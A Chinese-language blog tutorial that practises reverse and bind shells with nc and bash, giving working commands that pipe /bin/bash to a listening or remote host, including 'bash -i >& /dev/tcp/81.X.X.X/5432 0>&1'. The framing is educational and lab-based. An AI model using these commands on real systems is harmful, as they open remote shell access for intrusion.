使用nc及bash进行反弹shell的简单实践

2021-04-22 14:55:17 浏览数 (1)

使用nc及bash进行反弹shell的简单实践

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步

参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程

一、被控端主机与控制端主机位于内网同网段场景

如下图所示

(图片可放大查看)

1、被控端主机——IP:192.168.31.84

2、kali控制端主机:192.168.31.118

1)安装nc命令

若没有nc命令,使用yum方式进行安装

代码语言:javascript复制
yum install nmap-ncat

(图片可放大查看)

(图片可放大查看)

代码语言:javascript复制
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

2)、nc命令开启本地监听端口

代码语言:javascript复制
nc -n -lvvp 5432 -t -e /bin/bash

(图片可放大查看)

3)kali控制端主机使用nc命令连接被控端主机

代码语言:javascript复制
nc 192.168.31.84 5432

执行shell命令,可以看到输入shell命令后被控主机的shell输出结果

(图片可放大查看)

(图片可放大查看)

二、被控端主机位于NAT后的场景

如下图所示 被控端主机位于NAT后 控制端主机位于公网

1)控制端主机开启端口5432监听

由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口

(图片可放大查看)

(图片可放大查看)

代码语言:javascript复制
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

nc -n -lvvp 5432

(图片可放大查看)

2)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口

代码语言:javascript复制
nc X.X.X.X(公网IP) 5432 -t -e /bin/bash

(图片可放大查看)

三、使用bash进行shell反弹

以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法

1)写法1

代码语言:javascript复制
bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1

(图片可放大查看)

2)写法2

代码语言:javascript复制
bash -i >& /dev/tcp/81.X.X.X/5432 0>&1

(图片可放大查看)

具体原理可以参考先知社区上的这两篇文章

Linux反弹shell(一)文件描述符与重定向

——https://xz.aliyun.com/t/2548

Linux反弹shell(二)反弹shell的本质

——https://xz.aliyun.com/t/2549

1)bash -i

-i 代表交互式

代码语言:javascript复制
-i     If the -i option is present, the shell is interactive.

2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里

总结

当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止

0 人点赞